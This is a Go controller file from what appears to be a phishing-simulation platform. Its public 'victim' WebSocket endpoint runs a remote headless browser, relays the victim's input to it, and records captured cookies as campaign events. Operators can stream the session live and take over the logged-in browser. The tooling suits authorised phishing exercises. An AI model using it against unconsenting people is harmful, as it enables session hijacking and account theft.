Files
phishingclub/backend/controller/remoteBrowser.go
T
2026-07-24 13:57:46 +02:00

2121 lines
65 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package controller
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"fmt"
"image"
"image/draw"
"image/jpeg"
"image/png"
"math"
"math/rand"
"net/http"
"net/url"
"sync"
"sync/atomic"
"time"
"github.com/gin-gonic/gin"
"github.com/go-rod/rod"
"github.com/go-rod/rod/lib/proto"
"github.com/google/uuid"
"github.com/gorilla/websocket"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/cache"
"github.com/phishingclub/phishingclub/data"
"github.com/phishingclub/phishingclub/database"
"github.com/phishingclub/phishingclub/model"
"github.com/phishingclub/phishingclub/remotebrowser"
"github.com/phishingclub/phishingclub/repository"
"github.com/phishingclub/phishingclub/service"
"github.com/phishingclub/phishingclub/utils"
"github.com/phishingclub/phishingclub/vo"
)
// activeSession tracks every victim WebSocket session from the moment it connects.
// Pointer identity is used by CompareAndDelete so a newer session's entry
// is never removed by an older session's defer cleanup.
// browserPage is nil until the JS script calls newSession(); once set the session
// can be streamed to an admin via StreamLiveSession.
type activeSession struct {
cancel context.CancelFunc
CampaignID uuid.UUID
RecipientID uuid.UUID
CRID uuid.UUID
CreatedAt time.Time
victimConnected atomic.Bool
// isKeepAlive is set when the JS script calls s.keepAlive(), meaning the
// browser is parked and available for operator takeover. A revisit from the
// victim must not cancel this session.
isKeepAlive atomic.Bool
// isTest marks sessions created by the test runner (RunByID) so they are
// excluded from the live session list shown to operators.
isTest bool
// browserPage is set (non-nil) only after newSession() is called.
browserPageMu sync.Mutex
browserPage *rod.Page
// screencast broker: one Chrome screencast per target, ref-counted and shared by
// the operator viewer and victim streams. Both derive their frames from the same
// source, so a victim stream looks identical whether or not an operator is watching
// (no operator-presence leak), and two captures never run on one target.
scMu sync.Mutex
scTargets map[proto.TargetTargetID]*scTarget
}
// scFrame is the latest screencast frame for a target.
type scFrame struct {
data []byte
devW, devH float64
}
// scTarget is one shared, ref-counted screencast keyed by Chrome target.
type scTarget struct {
refs int
cancel context.CancelFunc
latest atomic.Pointer[scFrame]
}
func (a *activeSession) GetCampaignID() uuid.UUID { return a.CampaignID }
func (a *activeSession) Cancel() { a.cancel() }
func (a *activeSession) IsKeepAlive() bool { return a.isKeepAlive.Load() }
func (a *activeSession) getBrowserPage() *rod.Page {
a.browserPageMu.Lock()
defer a.browserPageMu.Unlock()
return a.browserPage
}
func (a *activeSession) setBrowserPage(page *rod.Page) {
a.browserPageMu.Lock()
defer a.browserPageMu.Unlock()
a.browserPage = page
}
// scAcquire ensures a single screencast is running on page's target and registers
// interest in it. get returns the latest frame (nil until the first arrives); release
// drops interest and stops the screencast when the last consumer leaves. Fixed params
// (native-resolution ceiling, quality 90) so every consumer sees identical frames
// regardless of who else is watching — this is what keeps a victim stream invariant to
// operator presence.
func (a *activeSession) scAcquire(page *rod.Page) (get func() *scFrame, release func()) {
tid := page.TargetID
a.scMu.Lock()
if a.scTargets == nil {
a.scTargets = map[proto.TargetTargetID]*scTarget{}
}
t := a.scTargets[tid]
if t == nil {
ctx, cancel := context.WithCancel(page.GetContext())
t = &scTarget{cancel: cancel}
a.scTargets[tid] = t
go a.runScreencast(ctx, page, t)
}
t.refs++
a.scMu.Unlock()
get = func() *scFrame { return t.latest.Load() }
var once sync.Once
release = func() {
once.Do(func() {
a.scMu.Lock()
t.refs--
if t.refs <= 0 {
t.cancel()
delete(a.scTargets, tid)
}
a.scMu.Unlock()
})
}
return get, release
}
// runScreencast drives one Chrome screencast, storing the latest frame until ctx is
// cancelled by the last release.
func (a *activeSession) runScreencast(ctx context.Context, page *rod.Page, t *scTarget) {
p := page.Context(ctx)
wait := p.EachEvent(func(e *proto.PageScreencastFrame) bool {
// Ack immediately so Chrome keeps producing regardless of consumer speed.
proto.PageScreencastFrameAck{SessionID: e.SessionID}.Call(p) //nolint:errcheck
var dw, dh float64
if e.Metadata != nil {
dw, dh = e.Metadata.DeviceWidth, e.Metadata.DeviceHeight
}
t.latest.Store(&scFrame{data: e.Data, devW: dw, devH: dh})
return false
})
// Foreground the tab so Chrome doesn't throttle its render pipeline.
proto.TargetActivateTarget{TargetID: page.TargetID}.Call(page.Browser()) //nolint:errcheck
q, w, h, n := 90, 3840, 2160, 1
proto.PageStartScreencast{
Format: proto.PageStartScreencastFormatJpeg,
Quality: &q,
MaxWidth: &w,
MaxHeight: &h,
EveryNthFrame: &n,
}.Call(p) //nolint:errcheck
proto.PageBringToFront{}.Call(p) //nolint:errcheck
// Idle headless pages don't emit screencast frames until Chrome renders; nudge a
// repaint if no frame has arrived shortly after start.
go func() {
tm := time.NewTimer(time.Second)
defer tm.Stop()
select {
case <-ctx.Done():
return
case <-tm.C:
}
if t.latest.Load() == nil {
proto.RuntimeEvaluate{Expression: "window.requestAnimationFrame(function(){void 0})"}.Call(p) //nolint:errcheck
}
}()
wait() // blocks until ctx cancelled by the last release
proto.PageStopScreencast{}.Call(page) //nolint:errcheck
}
// streamInfo tracks a named cropped stream started by s.stream(selector, name).
// originX/Y are the element's CSS-pixel top-left corner (for input coord mapping).
// scaleX/Y are JPEG pixels per CSS pixel, computed from the first frame received
// (may differ from 1.0 on HiDPI displays or when the viewport fits within maxWidth/maxHeight).
type streamInfo struct {
mu sync.RWMutex
originX float64
originY float64
scaleX float64
scaleY float64
boxSet bool // true once the first frame has been processed and scale is known
cancel context.CancelFunc
maxFps int
quality int // JPEG re-encode quality for cropped frames (0 = use default 92)
}
func (s *streamInfo) setOrigin(x, y float64) {
s.mu.Lock()
s.originX, s.originY = x, y
s.mu.Unlock()
}
func (s *streamInfo) setScale(sx, sy float64) {
s.mu.Lock()
s.scaleX, s.scaleY, s.boxSet = sx, sy, true
s.mu.Unlock()
}
// getInputCoords maps victim canvas pixel coords (vx, vy) back to CDP CSS pixel coords.
func (s *streamInfo) getInputCoords(vx, vy float64) (float64, float64, bool) {
s.mu.RLock()
defer s.mu.RUnlock()
if !s.boxSet || s.scaleX == 0 || s.scaleY == 0 {
return 0, 0, false
}
return s.originX + vx/s.scaleX, s.originY + vy/s.scaleY, true
}
var RemoteBrowserColumnsMap = map[string]string{
"name": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "name"),
"updated_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "updated_at"),
"created_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "created_at"),
}
var wsUpgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
if origin == "" {
return true // non-browser client (CLI, curl)
}
u, err := url.Parse(origin)
if err != nil {
return false
}
return u.Host == r.Host
},
}
func modelConfigToRunnerConfig(c nullable.Nullable[model.RemoteBrowserConfig]) remotebrowser.Config {
cfg := remotebrowser.DefaultConfig()
if mc, err := c.Get(); err == nil {
if mc.Mode == "local" || mc.Mode == "remote" {
cfg.Mode = mc.Mode
}
if cfg.Mode == "remote" {
cfg.Remote = mc.Remote
}
cfg.Proxy = mc.Proxy
cfg.Headless = mc.Headless
if mc.Timeout > 0 {
cfg.Timeout = mc.Timeout
}
cfg.Lang = mc.Lang
cfg.ExtraFlags = mc.ExtraFlags
}
return cfg
}
// RemoteBrowserController handles remote browser CRUD and live test runs.
type RemoteBrowserController struct {
Common
RemoteBrowserService *service.RemoteBrowser
RemoteBrowserRepository *repository.RemoteBrowser
CampaignRecipientRepository *repository.CampaignRecipient
CampaignRepository *repository.Campaign
CampaignService *service.Campaign
// ExecPath is the server-configured Chrome binary (from config.json).
ExecPath string
// Enabled mirrors config.RemoteBrowserServerConfig.Enabled. When false
// every endpoint returns 404 and the feature is fully unavailable.
Enabled bool
TrustedProxies []string
}
func (m *RemoteBrowserController) isEnabled(g *gin.Context) bool {
if !m.Enabled {
g.AbortWithStatus(http.StatusNotFound)
return false
}
return true
}
// Create creates a remote browser script.
func (m *RemoteBrowserController) Create(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
var req model.RemoteBrowser
if ok := m.handleParseRequest(g, &req); !ok {
return
}
id, err := m.RemoteBrowserService.Create(g.Request.Context(), session, &req)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, map[string]string{"id": id.String()})
}
// GetOverview returns a lightweight list of remote browsers.
func (m *RemoteBrowserController) GetOverview(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
queryArgs, ok := m.handleQueryArgs(g)
if !ok {
return
}
queryArgs.DefaultSortByUpdatedAt()
queryArgs.RemapOrderBy(RemoteBrowserColumnsMap)
companyID := companyIDFromRequestQuery(g)
result, err := m.RemoteBrowserService.GetAllOverview(
companyID,
g.Request.Context(),
session,
&repository.RemoteBrowserOption{QueryArgs: queryArgs},
)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, result)
}
// GetAll returns full remote browser records with pagination.
func (m *RemoteBrowserController) GetAll(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
queryArgs, ok := m.handleQueryArgs(g)
if !ok {
return
}
queryArgs.DefaultSortByUpdatedAt()
queryArgs.RemapOrderBy(RemoteBrowserColumnsMap)
companyID := companyIDFromRequestQuery(g)
result, err := m.RemoteBrowserService.GetAll(
g.Request.Context(),
session,
companyID,
&repository.RemoteBrowserOption{QueryArgs: queryArgs},
)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, result)
}
// GetByID returns a single remote browser.
func (m *RemoteBrowserController) GetByID(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{})
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, rb)
}
// UpdateByID updates a remote browser.
func (m *RemoteBrowserController) UpdateByID(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
var req model.RemoteBrowser
if ok := m.handleParseRequest(g, &req); !ok {
return
}
err := m.RemoteBrowserService.UpdateByID(g.Request.Context(), session, id, &req)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, map[string]string{"message": "Remote browser updated"})
}
// DeleteByID deletes a remote browser.
func (m *RemoteBrowserController) DeleteByID(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
err := m.RemoteBrowserService.DeleteByID(g.Request.Context(), session, id)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, map[string]string{"message": "Remote browser deleted"})
}
// RunByID upgrades to WebSocket and executes the saved script, streaming
// RunEvents back in real time. The client may send {"type":"stop"} to abort.
func (m *RemoteBrowserController) RunByID(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{})
if ok := m.handleErrors(g, err); !ok {
return
}
cfg := modelConfigToRunnerConfig(rb.Config)
conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil)
if err != nil {
m.Logger.Warnw("websocket upgrade failed", "error", err)
return
}
defer conn.Close()
conn.SetReadLimit(64 * 1024)
scriptVal, _ := rb.Script.Get()
script := scriptVal.String()
runner := remotebrowser.NewRunner(script, cfg)
runner.ExecPath = m.ExecPath
runner.Logger = m.Logger
ctx, cancel := context.WithCancel(g.Request.Context())
defer cancel()
// Register a synthetic activeSession so StreamLiveSession can stream this test run.
// Key is the script UUID, which won't collide with victim crIDs (campaign-recipient UUIDs).
sess := &activeSession{
cancel: cancel,
CRID: *id,
CreatedAt: time.Now(),
isTest: true,
}
if prev, hadPrev := m.RemoteBrowserService.SwapSession(id.String(), sess); hadPrev {
prev.Cancel()
}
defer m.RemoteBrowserService.CompareAndDeleteSession(id.String(), sess)
// Forward BrowserCh into the session so StreamLiveSession sees a non-nil page.
go func() {
select {
case page := <-runner.BrowserCh:
sess.setBrowserPage(page)
case <-ctx.Done():
}
}()
// Tell the frontend the session ID to use for View/Control streaming.
if sessionMsg, err := json.Marshal(map[string]string{"type": "session", "id": id.String()}); err == nil {
conn.WriteMessage(websocket.TextMessage, sessionMsg) //nolint:errcheck
}
// Read loop: route {"type":"stop"} to cancel; {"event":"..","data":{}} to runner.Incoming.
go func() {
for {
_, msg, err := conn.ReadMessage()
if err != nil {
cancel()
return
}
var cmd struct {
Type string `json:"type"`
Event string `json:"event"`
Data json.RawMessage `json:"data"`
}
if json.Unmarshal(msg, &cmd) != nil {
continue
}
if cmd.Type == "stop" {
cancel()
return
}
if cmd.Event != "" {
var data interface{}
if len(cmd.Data) > 0 {
json.Unmarshal(cmd.Data, &data) //nolint:errcheck
}
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: data}:
default:
}
}
}
}()
// Drain StreamCh — test runner doesn't serve cropped streams.
go func() {
for range runner.StreamCh {
}
}()
// Run the script in a goroutine; Events channel is closed when done.
go runner.Run(ctx) //nolint:errcheck
// Write loop: forward every RunEvent to the WebSocket client.
for evt := range runner.Events {
data, err := json.Marshal(evt)
if err != nil {
continue
}
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
return
}
}
}
// ServeVictim is the public (no auth) WebSocket endpoint that victims connect to.
// The URL is /<seeded-ws-path>/:crID/:rbID where crID is the campaign recipient ID
// (the tracking token already embedded in the phishing page via {{.rID}}) and rbID
// is the remote browser script to run.
//
// The handler bridges victim WebSocket messages into the runner's Incoming channel and
// forwards runner events back to the victim. When the runner emits a "capture" event
// the cookies are saved as a CampaignEvent so they appear alongside AITM captures.
func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
if !m.isEnabled(g) {
return
}
crID, err := uuid.Parse(g.Param("crID"))
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
rbID, err := uuid.Parse(g.Param("rbID"))
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
// look up campaign recipient to get campaignID / recipientID for capture saving
cr, err := m.CampaignRecipientRepository.GetByCampaignRecipientID(g.Request.Context(), &crID)
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
// look up remote browser script directly (no admin session on this public endpoint)
rb, err := m.RemoteBrowserRepository.GetByID(g.Request.Context(), &rbID, &repository.RemoteBrowserOption{})
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
// verify the script belongs to the same company as the
// campaign. A script with no company (nil) is global and usable by any campaign.
if rbCompany, err := rb.CompanyID.Get(); err == nil {
cid, cidErr := cr.CampaignID.Get()
if cidErr != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
campaign, campErr := m.CampaignRepository.GetByID(g.Request.Context(), &cid, &repository.CampaignOption{})
if campErr != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
campCompany, campCompanyErr := campaign.CompanyID.Get()
if campCompanyErr != nil || campCompany != rbCompany {
g.AbortWithStatus(http.StatusNotFound)
return
}
}
cfg := modelConfigToRunnerConfig(rb.Config)
conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil)
if err != nil {
return
}
defer conn.Close()
conn.SetReadLimit(64 * 1024)
var connMu sync.Mutex
scriptVal, _ := rb.Script.Get()
runner := remotebrowser.NewRunner(scriptVal.String(), cfg)
runner.ExecPath = m.ExecPath
runner.Logger = m.Logger
campaignID, err1 := cr.CampaignID.Get()
recipientID, err2 := cr.RecipientID.Get()
if err1 != nil || err2 != nil {
g.AbortWithStatus(http.StatusInternalServerError)
return
}
// Use a background context for the runner so the victim's HTTP connection
// closing (which cancels g.Request.Context()) does not kill a keepAlive
// session. The session lifetime is controlled explicitly via cancel().
ctx, cancel := context.WithCancel(context.Background())
sess := &activeSession{
cancel: cancel,
CampaignID: campaignID,
RecipientID: recipientID,
CRID: crID,
CreatedAt: time.Now(),
}
sess.victimConnected.Store(true)
// One active session per campaign recipient — cancel any previous one.
// Exception: if the previous session is in keepAlive state the script has
// parked and is waiting for operator takeover; cancelling it would destroy
// a live browser the operator may be about to use. In that case put the
// old session back and drop the new connection instead.
crIDStr := crID.String()
if prev, hadPrev := m.RemoteBrowserService.SwapSession(crIDStr, sess); hadPrev {
if prev.IsKeepAlive() {
m.RemoteBrowserService.StoreSession(crIDStr, prev)
cancel()
return
}
prev.Cancel()
}
defer func() {
// For keepAlive sessions the runner is still parked waiting for the
// operator — do not cancel or remove it here. CloseLiveSession handles
// cleanup when the operator explicitly ends the session.
if !sess.isKeepAlive.Load() {
m.RemoteBrowserService.CompareAndDeleteSession(crIDStr, sess)
cancel()
}
}()
var activeNamedStreams sync.Map // name → *streamInfo
// victimVP stores the victim's viewport size sent on connect.
// Stored as int64 atomics so they can be read from the BrowserCh goroutine
// without a mutex; 0 means "not yet received".
var vpWidth, vpHeight atomic.Int64
var vpDpr atomic.Int64 // recipient devicePixelRatio × 100; 0 means "not yet received"
// applyViewport sets the emulated viewport on the rod page if we have both a page
// and a non-zero victim viewport. DeviceScaleFactor is set to the recipient's real
// devicePixelRatio so a full-page stream is rendered at their device resolution and
// stays crisp on HiDPI screens instead of being upscaled. Clamped to [1,2] to bound
// bandwidth (each extra factor multiplies the screencast pixel count).
applyViewport := func(page *rod.Page) {
w := vpWidth.Load()
h := vpHeight.Load()
if w <= 0 || h <= 0 || page == nil {
return
}
dsf := float64(vpDpr.Load()) / 100
if dsf < 1 {
dsf = 1
}
if dsf > 2 {
dsf = 2
}
proto.EmulationSetDeviceMetricsOverride{
Width: int(w), Height: int(h), DeviceScaleFactor: dsf,
}.Call(page) //nolint:errcheck
}
// Read loop: forward victim events into the runner; route stream_input with coord offset.
go func() {
// Per-stream last mousemove dispatch time used to cap stream_input mousemove
// events at 60 Hz. Clicks and other actions are always forwarded immediately.
streamMouseMoveLast := map[string]time.Time{}
const streamMouseMoveMinInterval = 16 * time.Millisecond
for {
_, msg, err := conn.ReadMessage()
if err != nil {
sess.victimConnected.Store(false)
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: "disconnect"}:
default:
}
// keepAlive: browser is parked for operator takeover — a victim
// disconnect must not kill the session, the operator still needs it.
if !sess.isKeepAlive.Load() {
cancel()
}
return
}
var cmd struct {
Type string `json:"type"`
Event string `json:"event"`
Data json.RawMessage `json:"data"`
Name string `json:"name"`
Action string `json:"action"`
X float64 `json:"x"`
Y float64 `json:"y"`
Button string `json:"button"`
DeltaX float64 `json:"deltaX"`
DeltaY float64 `json:"deltaY"`
Key string `json:"key"`
Code string `json:"code"`
KeyCode int64 `json:"keyCode"`
Modifiers int64 `json:"modifiers"`
CharText string `json:"charText"`
Width float64 `json:"width"`
Height float64 `json:"height"`
Dpr float64 `json:"dpr"`
}
if json.Unmarshal(msg, &cmd) != nil {
continue
}
if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 {
vpWidth.Store(int64(cmd.Width))
vpHeight.Store(int64(cmd.Height))
if cmd.Dpr > 0 {
vpDpr.Store(int64(cmd.Dpr * 100))
}
applyViewport(sess.getBrowserPage())
continue
}
if cmd.Type == "stream_input" && cmd.Name != "" && cmd.Action != "" {
// Rate-limit mousemove to 60 Hz - the captcha screencast frame rate
// is typically well below this, so extra events never make it into
// a frame and only add unnecessary CDP round-trips.
if cmd.Action == "mousemove" {
now := time.Now()
if now.Sub(streamMouseMoveLast[cmd.Name]) < streamMouseMoveMinInterval {
continue
}
streamMouseMoveLast[cmd.Name] = now
}
if val, exists := activeNamedStreams.Load(cmd.Name); exists {
si := val.(*streamInfo)
// cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords.
cdpX, cdpY, ok := si.getInputCoords(cmd.X, cmd.Y)
if ok {
if page := sess.getBrowserPage(); page != nil {
adjusted, _ := json.Marshal(map[string]interface{}{
"type": cmd.Action,
"x": cdpX,
"y": cdpY,
"button": cmd.Button,
"deltaX": cmd.DeltaX,
"deltaY": cmd.DeltaY,
"key": cmd.Key,
"code": cmd.Code,
"keyCode": cmd.KeyCode,
"modifiers": cmd.Modifiers,
"charText": cmd.CharText,
})
m.dispatchInput(page, adjusted)
}
}
}
continue
}
if cmd.Event == "" {
continue
}
var eventData interface{}
json.Unmarshal(cmd.Data, &eventData) //nolint:errcheck
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: eventData}:
default:
}
}
}()
go runner.Run(ctx) //nolint:errcheck
// As soon as the browser spawns, mark the session as streamable, apply the
// victim viewport, and subscribe to navigation events so the script can react
// via s.on("navigate", fn).
go func() {
select {
case <-ctx.Done():
case page := <-runner.BrowserCh:
sess.setBrowserPage(page)
applyViewport(page)
wait := page.EachEvent(
func(e *proto.PageFrameNavigated) (stop bool) {
if e.Frame != nil && e.Frame.ParentID == "" {
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.Frame.URL}}:
default:
}
}
return
},
func(e *proto.PageNavigatedWithinDocument) (stop bool) {
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.URL}}:
default:
}
return
},
)
go wait()
}
}()
// Watch for s.stream(selector, name) / stop() calls from the script.
go func() {
for {
select {
case <-ctx.Done():
return
case cmd, ok := <-runner.StreamCh:
if !ok {
return
}
if cmd.Op == "start" {
if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists {
val.(*streamInfo).cancel()
}
streamCtx, streamCancel := context.WithCancel(cmd.Page.GetContext())
si := &streamInfo{cancel: streamCancel, maxFps: cmd.MaxFps, quality: cmd.Quality}
activeNamedStreams.Store(cmd.Name, si)
go m.runNamedStream(streamCtx, cmd.Page, sess, &connMu, conn, cmd.Selector, cmd.Name, si)
} else if cmd.Op == "stop" {
if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists {
val.(*streamInfo).cancel()
}
}
}
}
}()
clientIP := utils.ExtractClientIP(g.Request, m.TrustedProxies)
userAgent := g.Request.UserAgent()
// processEvent handles server-side effects for a RunEvent (DB writes, session state
// updates). Uses context.Background() so a victim disconnect does not cause DB writes
// to fail mid-flight.
processEvent := func(evt remotebrowser.RunEvent) {
switch evt.Type {
case "capture":
m.saveCaptureEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent)
case "submit":
m.saveSubmitEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent)
case "error":
m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent)
case "info":
m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent)
case "keep_alive":
sess.isKeepAlive.Store(true)
select {
case page := <-runner.LiveCh:
sess.setBrowserPage(page)
m.saveInfoEvent(context.Background(), &campaignID, &recipientID, "remote browser session available for takeover", clientIP, userAgent)
default:
}
case "log":
m.Logger.Debugw(evt.Message, "campaign_id", campaignID, "recipient_id", recipientID)
}
}
// Write loop: forward script events back to the victim page and handle server-side
// effects. Uses a select so it exits when the victim's HTTP connection closes without
// cancelling the runner (which must stay alive for keepAlive sessions).
// On disconnect, drain any buffered events so a keep_alive arriving simultaneously
// with the disconnect is not silently lost.
reqCtx := g.Request.Context()
for {
select {
case <-reqCtx.Done():
// Victim disconnected. Non-blocking drain of buffered events to catch
// a keep_alive or capture that arrived at the same time as the disconnect.
for {
select {
case evt, ok := <-runner.Events:
if !ok {
return
}
processEvent(evt)
default:
return
}
}
case evt, ok := <-runner.Events:
if !ok {
return
}
processEvent(evt)
if evt.Type == "log" || evt.Type == "capture" || evt.Type == "submit" ||
evt.Type == "keep_alive" || evt.Type == "info" || evt.Type == "error" ||
evt.Type == "screenshot" || evt.Type == "dom_dump" {
continue
}
payload, err := json.Marshal(map[string]interface{}{
"type": evt.Type,
"key": evt.Key,
"value": evt.Value,
})
if err != nil {
continue
}
connMu.Lock()
writeErr := conn.WriteMessage(websocket.TextMessage, payload)
connMu.Unlock()
if writeErr != nil {
return
}
}
}
}
// liveSessionInfo is the JSON shape returned by the live session list/get endpoints.
type liveSessionInfo struct {
CRID string `json:"crID"`
CampaignID string `json:"campaignID"`
RecipientID string `json:"recipientID"`
CreatedAt time.Time `json:"createdAt"`
VictimConnected bool `json:"victimConnected"`
CanStream bool `json:"canStream"` // true once newSession() has spawned a browser
}
func (m *RemoteBrowserController) sessionToInfo(sess *activeSession) liveSessionInfo {
return liveSessionInfo{
CRID: sess.CRID.String(),
CampaignID: sess.CampaignID.String(),
RecipientID: sess.RecipientID.String(),
CreatedAt: sess.CreatedAt,
VictimConnected: sess.victimConnected.Load(),
CanStream: sess.getBrowserPage() != nil,
}
}
// ListLiveSessions returns all active victim sessions for the campaign, optionally
// filtered by campaignID query param.
func (m *RemoteBrowserController) ListLiveSessions(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized {
if err != nil {
m.Logger.Warnw("IsAuthorized error in ListLiveSessions", "error", err)
}
m.Response.Forbidden(g)
return
}
campaignFilter := g.Query("campaignID")
var sessions []liveSessionInfo
m.RemoteBrowserService.RangeSessions(func(_ string, val service.LiveSession) bool {
sess := val.(*activeSession)
if sess.isTest {
return true
}
if campaignFilter == "" || sess.CampaignID.String() == campaignFilter {
sessions = append(sessions, m.sessionToInfo(sess))
}
return true
})
if sessions == nil {
sessions = []liveSessionInfo{}
}
m.Response.OK(g, sessions)
}
// CloseLiveSession terminates an active victim session by cancelling its context.
func (m *RemoteBrowserController) CloseLiveSession(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized {
if err != nil {
m.Logger.Warnw("IsAuthorized error in CloseLiveSession", "error", err)
}
m.Response.Forbidden(g)
return
}
crID := g.Param("crID")
val, loaded := m.RemoteBrowserService.LoadAndDeleteSession(crID)
if !loaded {
g.AbortWithStatus(http.StatusNotFound)
return
}
val.Cancel()
m.Response.OK(g, map[string]string{"message": "live session closed"})
}
// StreamLiveSession upgrades to WebSocket and streams a CDP screencast of the
// active browser tab to the admin. When mode=control the admin's mouse and
// keyboard input is forwarded back into the browser. New tabs opened by the
// victim are auto-tracked; the admin can switch between them or close them via
// switch_tab / close_tab WS messages.
func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized {
if err != nil {
m.Logger.Warnw("IsAuthorized error in StreamLiveSession", "error", err)
}
m.Response.Forbidden(g)
return
}
crIDStr := g.Param("crID")
val, exists := m.RemoteBrowserService.LoadSession(crIDStr)
if !exists {
g.AbortWithStatus(http.StatusNotFound)
return
}
sess := val.(*activeSession)
page := sess.getBrowserPage()
if page == nil {
// newSession() has not been called yet in the script
g.AbortWithStatus(http.StatusServiceUnavailable)
return
}
controlMode := g.Query("mode") == "control"
conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil)
if err != nil {
return
}
defer conn.Close()
conn.SetReadLimit(64 * 1024)
// Derived from outerCtx so the stream also ends when the victim session ends.
streamCtx, streamCancel := context.WithCancel(page.GetContext())
defer streamCancel()
type tabEntry struct {
page *rod.Page
url string
}
var tabsMu sync.Mutex
tabs := map[proto.TargetTargetID]*tabEntry{
page.TargetID: {page: page, url: ""},
}
var activePageMu sync.RWMutex
activePageVal := page
getActivePage := func() *rod.Page {
activePageMu.RLock()
defer activePageMu.RUnlock()
return activePageVal
}
setActivePage := func(p *rod.Page) {
activePageMu.Lock()
defer activePageMu.Unlock()
activePageVal = p
}
// Shared across tab switches; all feed into the write loop below.
// Buffered to 1 so only the newest frame is ever queued: a slow client drops
// intermediate frames instead of rendering a growing backlog of stale ones.
frameCh := make(chan *scFrame, 1)
urlCh := make(chan string, 4)
switchCh := make(chan *rod.Page, 1)
// notifyCh routes pre-encoded JSON from background goroutines to the write
// loop, which is the sole writer on conn.
notifyCh := make(chan []byte, 8)
sendTabList := func() {
active := getActivePage()
tabsMu.Lock()
type tabMsg struct {
TargetID string `json:"targetID"`
URL string `json:"url"`
Active bool `json:"active"`
}
list := make([]tabMsg, 0, len(tabs))
for tid, e := range tabs {
list = append(list, tabMsg{
TargetID: string(tid),
URL: e.url,
Active: active != nil && tid == active.TargetID,
})
}
tabsMu.Unlock()
payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list})
if err != nil {
return
}
select {
case notifyCh <- payload:
default:
}
}
// pageCancel cancels the previous tab's navigation subscription on every switch.
var pageCancel context.CancelFunc
// frameSource holds the current tab's shared-screencast getter and its release,
// swapped by startOnPage. The poller goroutine reads getFrame; startOnPage may run
// on the main goroutine (initial) or the read goroutine (tab switch), so guard it.
var frameSrcMu sync.Mutex
var getFrame func() *scFrame
var releaseFrame func()
setFrameSource := func(get func() *scFrame, release func()) {
frameSrcMu.Lock()
old := releaseFrame
getFrame, releaseFrame = get, release
frameSrcMu.Unlock()
if old != nil {
old() // release the previous tab's screencast interest after acquiring the new
}
}
